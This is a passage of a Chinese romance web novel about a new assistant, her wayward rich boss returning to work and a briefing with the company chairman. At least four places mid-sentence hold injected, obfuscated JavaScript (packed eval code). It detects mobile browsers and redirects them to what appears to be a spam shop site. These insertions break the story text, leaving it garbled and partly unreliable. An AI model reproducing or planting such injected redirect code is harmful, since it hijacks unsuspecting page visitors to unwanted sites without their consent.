“惊不惊喜,意不意外?”电话里的声音异常浮夸。 惊喜免了,她那句“我不会说出去”倒的确令人很“意外”! 毕正压下那点隐隐的不爽,又问:“我想知道你怎么说服你舅舅,招了一个毫无相关经验的助理?” “我跟他说‘她是老爷子的救命恩人’。” “就这样?” “反正有试用期,不喜欢可以换嘛。” …… 一方面似乎是给了人家机会,一方面却好像是在耍人家。这很符合潘少爷的怪诞行径,但毕正没料到,一贯稳健持重的刘董事也会首肯。 “你到底在哪里?” “香港啊……” “你去香港干嘛?” “听演唱会啊……” 呵--- 而他从长假回来就开始出差,直到今天才回来。 毕正无语地摸摸额头,不想再继续跟这个二世祖废话。 * 新的一个工作周伊始,Echo交代了一些简单的工作。梁芝欢异常仔细,每件事都反复检查,生怕疏忽犯错。 午间,她依旧同JS姐妹一起吃午饭。 “总经理还没消息?”几乎每次吃饭,Sandy都不会漏掉这个问题。 梁芝欢照例点点头,跟她一样无声地叹了口气。 刚开始她很庆幸老板不在,有个时间给她过渡适应。但如果老板迟迟不来,她这个光头助理的处境就会越来越尴尬。 旁边的Jessie忽然开口:“听说董事长要来厦门,估计总经理也快回来了。” 但愿吧,梁芝欢用叉子戳戳盘子里的海鲜饭,忽然想到一个人。 她微微朝前倾身,压低嗓门:“上周五我在公司看见一个人,他好像坐在市场部旁边一个单独的办公室里……” 话没说完,Sandy打了个响指,冲她得意地眨眨眼睛,仿佛在说“我知道你说的是谁”。 但是,Sandy并没有直接告诉她是谁,而是另外问她一句:“你知道我们公司的第一大极品是谁吗?” “是好……还是不好?” 梁芝欢蹙眉,拿不准这个“极品”所指到底是褒义还是贬义。 呃……Sandy尚在考虑如何来诠释这个词的定义,Jessie很文艺地插嘴。 “不一定是好,也不一定是不好,就是一言难尽的感觉。” 这个,说了等于没说嘛。 不过,梁芝欢还算有几分聪明。既然Sandy让她猜,这个人她肯定稍微知道。而她知道的人里面让她觉得一言难尽的,莫非…… “难道是总经理?” “Bingo!”Sandy又打了一个响指。 梁芝欢微张了嘴,不禁琢磨起总经理会是哪些地方比较极品...... “你周五看见的人就是第二大极品。”Jessie补充道。 登时,梁芝欢的嘴张的更大了...... * 傍晚七点,梁芝欢去楼下面包店买晚饭。 通常这个时候,大楼里的上班族基本已经下班回家,面包店的客人不多。她会买上一个面包或三明治和一杯喝的,坐在在二楼靠窗的位置,安静地享受简单的晚餐,然后在附近溜达一刻钟后回公司继续看资料。 可是今天面包店的生意竟然出奇地好,梁芝欢看着空空的橱窗有些惊讶。店员抱歉地解释说,因为有公司下了大单,面包全卖掉了。 “那给我一杯热可可吧。” 梁芝欢想起今天带来的苹果还没吃,将就用它填肚子吧。 十月中的傍晚,这个点天已经擦黑。空气中时有微风,带着丝丝凉意,但远不到寒冷的地步。这风吹在身上,恰好令她运转一天的大脑重获清醒。 梁芝欢一边喝着热可可,一边随意溜达。 毕正跟朋友呆在面包店的二楼已有一段时间。朋友告辞,毕正也收拾东西。一转头,发现路灯下的女人。 她正把手里的纸杯扔向垃圾桶,可惜没扔进,夸张地摇了摇身体、上前捡起来丢进桶里,然后无所谓地把手插进上衣口袋。 至少,也该用纸巾擦一下吧? 毕正皱了皱眉,一手拿起西服外套,一手提上电脑包,打算回公司。 走进大楼电梯,按好27楼,电梯门快要关上的时候,一只脚伸进来一挡,快要合上的门又打开。 还是那个女人。 “啊……我还以为电梯没人……”她有些尴尬,不好意思地朝他笑了笑,一边的嘴角还残留了一点深咖色的水迹。 带有强迫症的人脱口而出:“你嘴上没擦干净。” 她立刻对着电梯里一块光亮的玻璃照了一下,用手指把不干净的一点痕迹擦掉。 那只手…… 没记错的话,分明刚才捡过地上的纸杯…… “谢谢!”她仍旧不好意思地朝他笑了,完全没在意其他。 毕正很难挤出笑容,索性往门口站了一步,眼不见为净。所以,也没瞧见背后的人脸上皱起的小表情。 到达27层,俩人一前一后出了电梯,又前后脚踏进公司大门。 离大门口最近的行政人事部围了四五个人,纷纷将目光投向了他俩,似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713189|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些探究的意味---尤其那位沈佳璐小姐。 如果说其他人是“似乎”,那沈小姐的眼神肯定是“绝对”。 梁芝欢可不想引发沈小姐某些不好的猜测,故意放慢了脚步,拉大了同他的距离。 在拐角之后,迎面碰上公司的独立董事刘应超。有一次他跟Echo来总经办,梁芝欢见过他,斯斯文文、一派儒雅的作风。 梁芝欢叫了声“刘董”。 “还没下班?”刘应超还认得她。 “哦,还有一会儿走。”她礼貌地回答。 刘应超微笑着点点头,然后往行政部的方向去了。 公司马上要参加展会,行政部和市场部的同事最近都忙着筹备。刘应超跟尚在加班的几位同事闲扯了几句慰问的话,又往毕正的办公室去。 敲了一下虚掩的门,然后顺势推开。看到是他,毕正有些意外,从座位上站起来,身型如同他的白衬衫一样挺括。 他是知道因为中美时差的缘故,毕正时常会在晚上工作。他很勤奋,年纪轻轻就已经是一家知名美企驻厦代表,比起无心工作的柏雷要强过百倍。 “毕正,你知道柏雷在哪里吗?我怎么都联系不到他。” 不待他发问,刘应超先表明来意。 “上周五打电话他说在香港,过两天会回来。后来我没再跟他联系。” 刘应超叹了口气。 “周末董事长会过来,那小子再不回来要出事。他要是跟你联系,帮我劝他赶快回来。” “好。”毕正一口答应。 * 梁芝欢发现,自从上周五在办公室撞见那位“No.2极品”之后,每一个晚上他都在公司直到她下班。 有时,她会在楼下面包店、电梯或者公司的茶水间遇到他。大多数时候,他的表情都很严肃,有一种生人勿进的倨傲。 她已经知道他只是“借住”在这里办公,并非公司员工,而且素来不爱与大家来往。加上从有限的两次跟他正面“打交道”上来看,梁芝欢觉得跟他远远地保持一种点头之交即可。 晚上八点半,梁芝欢准时下班。 知道那个人还在公司,她没有去那边检查。走到楼下发现在下雨,而且还不小,她只好返回去拿伞。结果,拿好伞出来就在电梯口碰见了他。 她学着他的样子客气地点了下头,然后默默地与他同乘一部电梯下楼。 走出公司大楼,大风大雨夹杂而来,她才意识到今天有台风。梁芝欢把衣服领子竖起来,双手也插进口袋,犹豫着要不要等出租车。 这种鬼天气,无论走路还是等车都不容易。 正当她举棋不定的时候,远远看见一辆出租驶进来,梁芝欢雀跃地伸长脖子。 出租车缓缓停靠,但一个身影从她背后串出,先她一步靠近了出租车。梁芝欢刚要教育他要讲先来后到,那个人却先开口了。 “不好意思,我叫的调度车。” 又是他。 梁芝欢顺着他的手势,看到出租上挡风玻璃前显示着“电调”两个字,只好无奈地、假装大度地做了一个“请”的姿态。 他拉开车门,好像也犹豫了一下才问她:“要不要一起?” “不必了,谢谢!”她想他应该是出于礼貌的问询罢了。 果然,他没有跟她客气,径自上了车。 梁芝欢眼巴巴地看着出租车离开,绷着表情的脸慢慢松垮下来。她伸长脖子往反方向望过去,殷切地盼望着另一辆可爱的、没有打“电调”灯的出租车出现。 但最后,她还是只有撑着伞,顶着大风大雨走回了家。 尽管一到家就洗了个热水澡,但第二天还是不幸感冒了。 5. 05 由于台风影响,原定航班取消,毕正的出差推迟到周四。 自打刘应超来拜托他之后,他每天都把潘柏雷的手机拨好几遍,但那边手机一直关机。毕正觉得蹊跷。记忆中,就算再任性,他也没有这样失联过。 周四他去广州出了一趟短差,周五晚间凌晨回到家。本想双休日清闲一下,周六一大早却接到刘应超的电话。 原来董事长已经来了厦门,然而潘柏雷那不肖子却还没出现。既不知道人在哪里,也联系不上。 毕正又拨了他的手机,依然关机。他想了想,还是换了衣服,开车去潘柏雷家里。 门铃按了半天,无人应门。毕正又驱车去到他们常去的一间酒吧,仍旧一无所获。 他猜,人应该还没回厦门。于是,给刘应超回了电话。 刘应超在电话里邀请他过去吃饭,毕正其实不想参与这种微妙复杂的场面,却又不好直接回绝。 虽然他并不是这个公司的员工,但毕竟他的老板跟董事长交情匪浅,而且他本人又借着公司的场地办公。公司的独立董事发话,怎好拒绝?更何况,还有董事长的面子。 毕正只好打开导航,输入刘应超家的地址。 那是位于市郊的一处别墅区。毕正把车停进车库,再一次拨了潘柏雷的手机。依然只听到机械的关机播报。 毕正骂了一声Shit,然后发出一条短信给他,这才上去按响门铃。 刘应超的夫人亲自来应的门,热情招呼他进去。诺大的客厅里,三个人围坐在会客区---董事长跟他的老助手高枫,以及刘应超。 毕正上前一一跟她们打招呼寒暄,原本沉重又紧张的气氛陡然轻松起来。 “毕正,突然叫你来吃饭,希望没有打扰你周末约会啊!”刘夫人笑着跟他客套。 “哪里,刘叔知道我还没有女朋友。” “呃,这我可真不知道啊!”刘应超连忙作势撇清。 毕正只是笑笑,也没打算再辩解,转而看向潘仁雄。 “潘伯伯这次打算在厦门停留几天?William正好在国内,下周会来厦门,说不定你们还可以叙叙旧。” “哦,是吗?” 潘仁雄原本被不肖子气得脸色乌青,闻言顿时缓和不少。 “你问问他几时来,我等他。” 毕正立刻去旁边打电话给老板,过了一会儿回来说:“William本来下周五来,听说您来了,改到周三过来。” “好,太好了!”潘仁雄总算露出了笑容,“我跟William有一年半未见了,想当年……” 刘应超心底松了一口气,走到毕正身边,不露声色地拍了拍他的肩膀。 毕正会意,仍旧保持着原来的坐姿,微抿着嘴角看向董事长,乖乖地、认真地听他再一次说起当年…… * 午夜,已经入睡的毕正被一阵铃声吵醒。 他迷糊地抓起床头的手机,艰难地睁开眼睛瞄一眼来电显示的名字,把手机放到耳边,咬牙切齿地低吼一句:“你知道现在几点了吗?” “嗯……两点十五分……”那头的人似乎真的看了下时间。 “大少爷,你能不能八小时之后再打给我?”毕正勉强维持最后一点耐性。 要不是念在他已经失联几天,他早就切断电话,接都不会接。 “阿正……我想现在跟你聊聊……” 电话里潘柏雷声音感性得有些异样,毕正瞬间清醒许多。 他无奈地把枕头竖放,背靠在床头,平静地问:“你现在哪里?” “上海,我在我小时候住的地方……” “你不是去香港了吗?”毕正用另一只手按了按眼皮,好让自己更加清醒一点。 “对……所以,人生还是真是难以捉摸……”那边发出感慨。 “怎么说?” “我在香港碰到以前的一个邻居,我们初中高中都在一个学校……” “女的?”毕正可不想半夜被吵醒只为了听一段风流韵事。 “是男的---”那边轻叫了一声,然后继续往下说道。 “他来香港出差,我当时正在尖沙咀闲逛,居然碰到他。我们上次见面还是三年前的同学会,所以这次见面都很开心,他刚好事情也办完了,我们就一起去喝下午茶……” “我们聊了很多这三年发生的事情,大部分时候都是他在说。看他聊起他的工作---他是IT技术人员---他的朋友、还有女朋友,他整个人很兴奋,而且听上去他的人生丰富多彩又有趣,所以你明白为什么大部分时间是他在说......跟他的经历相比,我确实没有太多可说的……” “所以你很羡慕他?” 毕正真佩服自己在头脑尚不清醒的状态下,还能从他冗长的话语中抓出重点。 “对,我跟他说我很羡慕他活得有声有色,结果他却羡慕我的生活。” 说到这里,电话那头自嘲地笑了笑。 “我们当时坐在靠窗的位置,他让我朝下看。” “那时候是下班时间,路上到处都是人。他指着地铁站蜂拥而出的人群跟我说‘你看,你不用像他们一样上下班挤地铁,甚至不用赶早晚高峰,你可以悠闲地决定何时开车出门,也可以干脆不去公司---就像今天,你可以在工作日逛街喝下午茶,甚至心血来潮飞到香港听一场演唱会。” “你自由自在,完全不用担心银行卡上余额有多少,反正足够支撑你的自由自在。我羡慕你这种状态,这也是我奋斗的目标。’” “他说完这些话,我都糊涂了,搞半天我成他的目标了。但是,‘为什么我没你过得开心呢?’我问他,你知道他怎么回答的吗?” 毕正没有出声,静待后续。 “他想了一下说,可能因为我得到的这一切都不是通过我自己的努力得到的。” “就像我面前的红茶,我现在悠闲地坐在这里喝红茶不会有什么特别的感觉,但如果是一个找了一整天水的人,这杯红茶就会变得甘之若饴。因为他为此付出了一天的时间和努力,他有强烈的期待。” “你的这个邻居还挺像一位哲学家。”毕正评价。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713190|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好像很有道理,但我反驳他,我说我觉得不开心是因为我爸没有让做我感兴趣的工作。他笑着跟我说‘你以为工作跟找女朋友一样吗?找女朋友是因为有兴趣才会认真,工作恰恰相反。那些工作不可能按你的兴趣来设定,当你认真做一份工作时,兴趣自然就有了。’” “说得一点没错!” 要不是现在躺在床上,而且还没有完全清醒,毕正可能要为之鼓掌了。 “听起来,这位仁兄不像一个IT技术人员,倒像是一位人生导师。” 潘柏雷哼笑了一声,继续说起这个久别重逢的故事。 “后来我们一起去兰桂坊吃饭、喝了一点酒,很早就结束了,因为他第二天的早班机。” “我送他回酒店,在车上聊起以前读书的时候。他说感觉我现在比读书时候开朗了许多,读书时候的我比较郁郁寡欢,尤其是我妈妈过世后,他认为我变得更加忧郁了……” 那头顿了顿,再开口时声音有些黯淡下来。 “我说,我只是话变少了,但其实并没有变忧郁。然后他说,那就好,人生总有意外,但生活都在继续。” “以前他妈妈跟我妈经常一起煮东西、闲聊,无非就是家长里短那些话。他跟我说想起我妈讲过一句话,是她们曾经闲聊时说起的,我妈说‘把我生在这样一个家庭,常常觉得对不起我’……” 毕正对于潘柏雷妈妈过世的事只是略有耳闻,并不清楚前因后果和细节,所以他不知怎么接话,干脆什么都不说。 “这句话让我听了很难过,我从来不知道我妈曾经这样想过。所以,我开始回想我的过去,从记事时候开始直到现在,我想弄明白我妈为什么会这么说,也想好好看看我过得到底是怎样一种生活,是不是像我邻居说的那样,我的不满只是因为我自己……” “我从香港飞回上海,回去原来住的老房子那边。其实那边好几年前就已经拆迁了,面目全非,但我还是呆了一个礼拜……” 说到最后,那头的声音很有点落寞。 “怎么没有打给我?”毕正的声音很轻。 “我想......不受打扰地……好好想想。” “那你……想清楚了?” “有些部分还没有,不过---我清楚的是对我现在的生活有些厌倦。我想做一点改变,所以.......想试试认真做一些事.......” “你说的‘认真做一些事’是指工作吗?” 毕正对此不太确定,万一是认真追女生呢? “算……是吧。” 毕正这会儿算是彻底清醒了。 “你这些推心置腹的话要是跟老爷子说就好了。” “我怎么可能跟他说这么感性的话?”那头提高了音量。 “唉......”毕正发出一声叹息。 “我现在充满挫败感。我苦口婆心劝了你两年,却抵不过别人区区几句话。” “可能Timing不对吧。”那头哈哈大笑。 毕正悠然扬眉。 “多谢你安慰!” 6. 06 梁芝欢的感冒来得快,去的也快。经过一个周末的休息,又神采奕奕地迎接新一周的第一个工作日。 今天延续了周末的好天气,梁芝欢神清气爽地走进公司。 她住得近,一向来得早。刚把包放下,一个眼熟又陌生的男人径自走进总经办。梁芝欢像见到鬼一般惊叫,将那男人吓一跳。 “你、你找哪位?”梁芝欢声音有些哆嗦。 此时站在她面前的,正是刚刚从上海归来、决定洗心革面的二世祖潘柏雷。他收住惊色,蹙眉打量他的助理,原来真人长这个样子...... 模样清秀,可惜穿着打扮太呆板,只比照片上好看一点点,远远不够惊艳。倒是确有几分像那位老兄口中的“正经女孩”。 胆子也够小,他有那么可怕? 潘柏雷翻了翻眼睛,报上大名:“我就是潘柏雷。” 潘…… 梁芝欢表情瞬间凝固,记忆里某个片段不由自主涌入脑海。 “潘,叫得真亲昵......” 仿佛又看到那位新娘子说这话的神情,愤怒地扯下头纱,叫嚷着解除婚约…… “喂,见到总经理有这么惊讶吗?” 看她整个人像吓傻了,潘柏雷觉得好笑,手掌在她瞪得滚圆的眼睛面前晃了晃。 “总、总经理?”又一个惊人的事实贯穿梁芝欢的耳朵。 头上仿佛有什么东西炸了,大脑被震得短路...... 见助理还未从震惊中缓过来,潘柏雷摇摇头往里走。推开那扇深色的木漆大门,回过头吩咐:“给我倒杯咖啡来。” ....... 梁芝欢摸了摸头上的发髻,又低头看了看身上的正装,不可思议地张大了嘴…… 新郎! 总经理! 这巧合也太狗血了吧! 梁芝欢一边兀自震惊,一边去到茶水间。熟练地往咖啡里倒了牛奶,再加入一袋砂糖,搅拌均匀。 幸好她这样子没被认出来,否则会不会--- “就是你这个女人搞砸了我的婚礼!” 臆想中,总经理脸色难看地指着她鼻子:“你还好意思在我眼皮底下晃荡?还不滚蛋!” 画面飘过眼前,梁芝欢手一抖,差点把杯子里的咖啡搅出来。 “早---” “啊---”背后冷不丁冒出的声音又把她给吓一大跳。 回头看到Echo的脸,梁芝欢尴尬地挤出一丝歉意的笑容。 “那个.......总经理回来了。” “哦。”Echo表情没任何变化,一如往常平静淡然。 “董事长九点开会,你叫潘总准时来,他要作报告。我发给你的资料,打印七份带到会议室。” “好......”梁芝欢赶紧端着咖啡回到总办。 初次跨进这扇木漆大门,只见总经理站在落地窗前,静静眺望远处。 梁芝欢把咖啡放在老板桌上,毕恭毕敬地按Echo的称呼叫了声“潘总”,“Echo说等会九点董事长要开会……” “你上班是坐地铁来的吗?”不等她说完,他没头没尾来了这么一句。 梁芝欢不明所以,机械回答:“我是……走路上班的。” 他转过头来,脸上浮现一抹意外的笑容,继而朝她走来。梁芝欢心虚地低下头:“Echo还说……” “等一下!” 梁芝欢心中一紧,下巴扯得更低。 潘柏雷在她面前站定,目光落下,伸手端起桌上那杯咖啡。试探地抿一口,微皱眉头。 “记住,一半糖,八分之一的牛奶,OK?” “哦,记住了。”梁芝欢连连点头。 “要开会是吧?” “恩,您还要做报告。” 听到这里,他烦躁地扯了扯领带。 “什么报告?” “我马上把资料给您。” 梁芝欢立刻奔回自己的座位,迅速打开邮件,把Echo发过来的资料打印一份出来,整理好后拿给他。 潘柏雷草草翻完一遍,整个人更加烦躁,一把扯下领带,粗生粗气吩咐:“把电子版发给我。” * 八点五十五分,梁芝欢去叫总经理开会,他正在不紧不慢地系领带,跟刚刚焦躁的样子判若两人。 可梁芝欢着急啊,再不过去要迟到了! “潘总,我帮您吧?”没顾上忌讳,她走上前,三下两下利落地替他系好领带。 “还有三分钟。”这下连声音都急得不行。 潘柏雷压下心里的一点好奇,拿上笔记本大步走出办公室。梁芝欢抱起七份文档,踩着五公分高的高跟鞋,快步跟在后面。 会议室里十分安静,显然大家在等他们。 梁芝欢在每人手边放下一份文档,默默地坐去总经理旁边---因为看见Echo坐在刘董旁边。 端坐在首席的是一位年约六七十的男性,戴着金色边框眼镜,两鬓花白,但精神矍铄。 梁芝欢在公司网页上见过他的照片,镜头外的董事长比照片略显沧桑。 “应超,你来主持会议。”董事长虽然面带不悦,但语气尚算平和。 进入正题前,刘应超先介绍了她和董事长的高助理,然后才说:“今天是临时会议,主要是跟集团公司汇报一下公司上半年的经营情况。柏雷,你来做汇报。” 于是梁芝欢看总经理打开了投影仪,将一个PPT文件投射出来,开始做汇报。 她马上发现,这是早上发给他的word文档,被他重新调整架构后用PPT格式呈现出来---就在刚才不到三十分钟的时间。 PPT在他从容不迫地陈述,条理清晰地展现在每个人眼里。梁芝欢瞥向那张认真的侧脸,这是她听说的那位不务正业、放浪形骸的二世祖吗? 那边董事长听着报告,不时翻看手边的文档,表情严肃,一言不发。 文档是梁芝欢整理的,她很清楚公司上半年的销售情况不太理想。但刘董看上去倒是很淡定,甚至脸上还露出了浅浅的笑意。不知道报告结束,董事长会如何评价? 约莫半个小时光景,汇报结束。刘应超补充了几句话,特别提到因为夏季是销售淡季,所以业绩受到影响,但随着三季度销售旺季来临,业绩增幅会较大。 但这些话似乎仍然未能让董事长满意,他看了下腕上的手表,决定结束会议。 结束之前,冷冷地说了一句话:“业绩靠数字说话,而不是花哨的PPT。” 董事长离席,其余人也纷纷离开,剩下总经理。梁芝欢就坐在他旁边,刚好没错过桌面下攥紧的拳头。 潘柏雷起身的时候,拳头慢慢伸展,尔后把手放进西裤口袋,大步走出会议室。 梁芝欢一面回收桌上的文档,一面心想“果然父子关系欠佳”。 虽说业绩是靠数字说话,但比起这份打印的文档,总经理的PPT ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713191|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论从架构性、条理性各方面,显然更能直观以及客观地呈现既定事实啊。 貌似,总经理几十分钟的心血,就这样被董事长毫不留情地抹杀了。 * 阳光透过大片落地玻璃窗洒满进办公室,潘柏雷整个人陷进黑色的老板椅中,扶手几乎快要贴到玻璃窗上。 他出神地看向窗外,好似沉浸在单独的空间。 这个礼拜一的早晨虽然格外晴朗,室内阳光正盛,但他颓唐的背影落在梁芝欢眼里,却透着一种无法被温暖的凄凉。 把留在会议室的笔记本放在桌上,梁芝欢想说点什么,却又不知道该说什么。 她轻轻退出去,带着一种无能为力感回到自己的座位。 这种感觉很糟糕。记忆中有一次刻骨铭心的经历,那是她决定结束与黄治的感情前夕。 她心里清楚,即便知道他有了太太那一刻,她仍然爱他、不想离开他。可是面对一个非A即B的单选题,她找不到其他的可选答案。 要么舍弃她的底限,要么舍弃她之所爱。这种无能为力的感觉令她痛苦,且纠结良久。但起码这次不同,她应该可以尽力做点事情。 梁芝欢打开那份文档研究起来。 虽然话是冰冷的,但“业绩靠数字说话”是真理。她对公司的业务还没完全熟悉,正好借此机会摸清楚。 因为太过投入其中,以至于潘柏雷站在面前拍她桌子,梁芝欢才从一堆数据中脱离出来。 “做什么这么认真?叫你都没听见。” 刚才的落寞表情已经从他脸上消失,他的嘴角甚至还挂着一丝笑容。 “我……在分析报告的数据……” 他凑过来看了下显示屏,又看了看她做的笔记,不可思议地说:“上半年的分析报告已经有了,你干嘛还自己分析?” “……是吗?”她哪知道有,更不知道哪里可以看。 他想了想,恍然大悟。 “哦......分析报告只有高管有权限,你想看用我的笔记本。” “不用不用!”梁芝欢连忙摇手,“既然公司有规定,最好还是遵守。” “公司有些规定本来就很愚蠢!” 这话梁芝欢可不敢苟同。起码她脑筋还算清楚,总经理可以质疑公司规定,她这个小助理没资格。 “自己分析一下也不错,可以熟悉业务。” 她一脸认真,潘柏雷若有所思地看着她。 “你是因为有兴趣才认真的,还是因为认真才有兴趣的?” 突然跳脱的一句话,梁芝欢听得懵懵懂懂,不过又好像有点明白他的意思。 她其实是因为对贸易感兴趣才来面试的,可随着了解逐渐深入,兴趣在一点点减少。她发现这份工作并不如她想象那样有趣,不过她没想过退缩,还是很认真、很努力地适应,然后感觉兴趣似乎也回来一点点,于是她继续坚持。 虽然这个过程不是那么的舒服,但也许熬过这一段由生到熟后,一切就会豁然开朗吧? 所以,梁芝欢不太确定地回答他。 “有时候兴趣是因,认真是果,有时候嘛……可能恰恰相反.......” 听了她的答案,潘柏雷拧起眉头思考一会儿。 正当梁芝欢又因为他的长久沉默开始坐立不安的时候,他猛地把双手往桌上用力一拍。 “好,月底去展会!” “你帮我打电话约供应商和客户,名单我邮件给你。” 7. 07 中午,JS姐妹来找梁芝欢出去吃饭的时候,她刚结束与一家供应商的通话。姐妹俩应该听说了总经理回来的消息,眼睛发亮地朝里头瞟。 梁芝欢觉得应该进去跟他打声招呼。 “潘总,我出去吃饭了。” “哦……”潘柏雷仍然盯着电脑屏幕,头也没抬。“帮我带份三明治。” “好。” 梁芝欢应了一声,跟姐妹俩一同出了公司。 因为要帮总经理带午饭,选了一家不用排队的餐厅,点了上餐速度最快的海南鸡饭。 “早上的会是不是开得很激烈?”Sandy迫不及待地想八卦点东西出来。 “没有……”早上忙得都没空喝水,梁芝欢先灌了一大口水。 “董事长只是平静地表达了对上半年业绩的不满……你们两个部门的不太理想哦。” Sandy的八卦热情,瞬间就被后面一句话搞得偃旗息鼓。 “我们部门做的产品都是公司的小项目,供应商也是全公司最难搞的,要提高业绩真得很难。公司又不肯加大对我们的资源投入,每到月底结账的时候我们老大都要失眠好几天。” “我们差不多。”Jessie对她的患难姐妹投去一个感同身受的眼神。 “大骨大肉都给一部了,我们只有喝汤的份儿。” “为什么都给一部呢?”梁芝欢好奇。 “人家老大跟刘董惺惺相惜呀!”Jessie撇了撇嘴。 原来如此。 梁芝欢恍然大悟,同情地看了看两位。 吃完中饭,梁芝欢去了她常去的面包店。除了一份三明治,还买了一杯低甜度的蜂蜜柚子茶。 潘柏雷靠在椅背上,好像在思考问题。 梁芝欢把纸袋放在他办公桌上:“潘总,您的三明治,加了一杯饮品。因为您早上已经喝了两杯咖啡,我想换蜂蜜柚子茶比较好。” 潘柏雷对她的自作主张未置可否,一边拆三明治的包装,一边漫不经心地说:“不要对我用尊称,很倒胃口。” 听上去是挺别扭,毕竟他看上去年纪比她大不了多少。 梁芝欢欣然接受他的建议,轻快地回应:“是,你慢慢享用。” 下午,两个人继续为了展会的会议行程忙禄,不断沟通协调参会厂商名字、日期、议程。毕正来的时候,就看见新来的助理一边讲电话,一边低头记录。 他没去打扰她,径自走进总经理办公室。目光所及,潘大少爷果真坐于办公桌后,全神贯注地在笔记本上敲敲打打。 “你该不会是在认真工作吧?”毕正故意调侃。 “不然呢?”潘柏雷只瞟了他一眼,注意力又回到显示屏。 “士别三日,不得不说,你令我刮目相看。”调侃继续。 潘柏雷终于忍不住对他翻了一个白眼。 “我在忙,晚上一起吃饭的时候再说。” 毕正被他的“我在忙”三个字逗乐了。 “好,不妨碍你‘忙’。” 他退出办公室,不可避免地又看到新助理,抬起的目光刚好与他对上。 毕正把右手上的西服外套换到左手,右手插进西裤口袋,从她“你是什么时候进来”的无声眼神里昂首经过。 * 一直搞到七点多,行程表的初稿终于敲定。梁芝欢打印出一份交给总经理,他看了下时间,着急地站起来穿外套。 “走,去吃饭。” 梁芝欢迟疑了一下,还是拿了包跟他一道出了公司。 餐厅距离大楼约莫一刻钟的步行距离,他们到达的时候,毕正已经等得百无聊赖。 他和梁芝欢都不知道对方要来,照面时,相互的眼里都明显闪过一丝诧异,好像对方不该来似的。 梁芝欢在他斜对面的位置坐下,潘柏雷落座在她身边,问对面的人:“菜选好了吗?” “我不知道梁小姐要来,可能要重新选了。” 说着,毕正就把菜单推到她面前,梁芝欢连忙推辞。 “我都可以,不挑食,还是毕总点吧……” “我不清楚梁小姐的口味。” 梁芝欢听见他左一声“梁小姐”、右一声“梁小姐”无比生硬,感觉到他对自己的冷淡。 谁让她时运不济,偏偏撞上他跟人暧昧不清的时候呢? “听说这里的清蒸鲥鱼不错,不如试试吧。”她索性不再推辞。 对面毕正想到鱼刺,不由自主皱了皱眉头。 “快点吧,肚子饿了。”潘柏雷催他。 毕正白他一眼,叫来服务员,要了几个之前看好的菜,最后加了一道清蒸鲥鱼。 梁芝欢在一旁暗中观察,感觉俩人似乎交情匪浅。 等菜的功夫,潘柏雷把刚做好的行程表拿出来给他看。 毕正快速浏览了一下三天的会展行程,大大小小居然有三十多家客户和供应商,密密麻麻排满了三个整天。每一个会议的时间、与会人员名单、议程都详细标注在后面。 看得出来,是花了心思做的行程,这小子莫非真的转性了? “表格做得不错!不过排这么多会,我怕你到时候会叫苦不迭。” “不行的话,你来帮我呗。” “我也闲不着。”毕正把表格放在桌子中间,指着其中某个地方。 “两家竞争对手最好不要放在一起,万一碰到会比较尴尬。” 梁芝欢心里一亮,还真是没考虑这么周全。 捋完行程表,菜也陆陆续续上来,三人换作边吃边聊。 听毕正讲起会见各家厂商需要注意的方方面面,梁芝欢才发现他对厂商十分熟稔。谁家的产品有独特优势,谁家的市场份额最大,谁家的老板雄才大略……从他嘴里如数家珍。 梁芝欢第一次看见他身上除了高傲与冷漠之外的另一面---他变得友善健谈。 正如姐妹花所说,他偶尔也会很友善,但绝对是看人下菜、因人而异。对某些人友善,对大部分人高冷。 梁芝欢回想起下午的时候,他站在总经理办公室门口。 因为坐着,她更能直观地发现,他的身材确实十分挺拔有型。他穿着得体合身的白色衬衫,系一条深蓝色领带,一只手搭着西服外套,一只手插在西裤口袋里。 印象中他一直都穿得很正式---客观地讲,他穿成这样还蛮好看,尤其称得那张棱角分明的脸愈发英气十足。 只是,他的表情却一点都不养眼,拽得让人一言难尽! * 这个礼拜,总经理破天荒连续四天来公司上班,一时变成大家私下议论的热点话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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潘柏雷二话没说拿过来,取了一颗放嘴里,再还给她。 “我说过,不要对我用尊称,我又不是八十岁的老头子。” 梁芝欢笑着点点头,她是紧张地忘了。 他们见的第一家是公司最大的供应商,对方来了三个人,一个副总和两个业务经理。 